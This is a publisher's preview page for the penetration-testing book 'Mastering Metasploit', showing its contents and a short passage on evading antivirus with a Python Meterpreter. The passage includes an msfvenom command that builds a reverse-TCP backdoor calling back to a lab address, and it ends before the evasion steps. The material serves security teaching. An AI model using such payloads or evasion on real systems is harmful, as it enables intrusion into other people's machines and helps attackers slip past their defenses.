Search icon CANCEL
Subscription
0
Cart icon
Your Cart (0 item)
Close icon
You have no products in your basket yet
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Free Learning
Arrow right icon
Arrow up icon
GO TO TOP
Mastering Metasploit

You're reading from   Mastering Metasploit Exploit systems, cover your tracks, and bypass security controls with the Metasploit 5.0 framework

Arrow left icon
Product type Paperback
Published in Jun 2020
Publisher Packt
ISBN-13 9781838980078
Length 502 pages
Edition 4th Edition
Languages
Arrow right icon
Author (1):
Arrow left icon
Nipun Jaswal Nipun Jaswal
Author Profile Icon Nipun Jaswal
Nipun Jaswal
Arrow right icon
View More author details
Toc

Table of Contents (17) Chapters Close

Preface 1. Section 1 – Preparation and Development
2. Chapter 1: Approaching a Penetration Test Using Metasploit FREE CHAPTER 3. Chapter 2: Reinventing Metasploit 4. Chapter 3: The Exploit Formulation Process 5. Chapter 4: Porting Exploits 6. Section 2 – The Attack Phase
7. Chapter 5: Testing Services with Metasploit 8. Chapter 6: Virtual Test Grounds and Staging 9. Chapter 7: Client-Side Exploitation 10. Section 3 – Post-Exploitation and Evasion
11. Chapter 8: Metasploit Extended 12. Chapter 9: Evasion with Metasploit 13. Chapter 10: Metasploit for Secret Agents 14. Chapter 11: Visualizing Metasploit 15. Chapter 12: Tips and Tricks 16. Other Books You May Enjoy

Evading Meterpreter with Python

Python is handy for everyday tasks, including evading AVs. We can use Python's Meterpreter, which is offered by Metasploit, to build an executable. The first step is to generate a Python Meterpreter file by issuing the msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.204.143 LPORT=4444 -o meterpreter.py command, as follows:

Figure 9.18 – Generating Python payloads using msfvenom

We can see we have successfully created a Python Meterpreter file. Let's take a look at the contents of the file, as follows:

Figure 9.19 – Python backdoor generated by msfvenom

Well, the code is pretty compact. We can see a base64-encoded string, which, upon decoding, is passed to the exec function for execution. At this point, if we want to run this file, we can, and we will get a Meterpreter session with ease. However, the code is Python-dependent on the target. So, to generate something dependency...

lock icon The rest of the chapter is locked
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at $19.99/month. Cancel anytime
Banner background image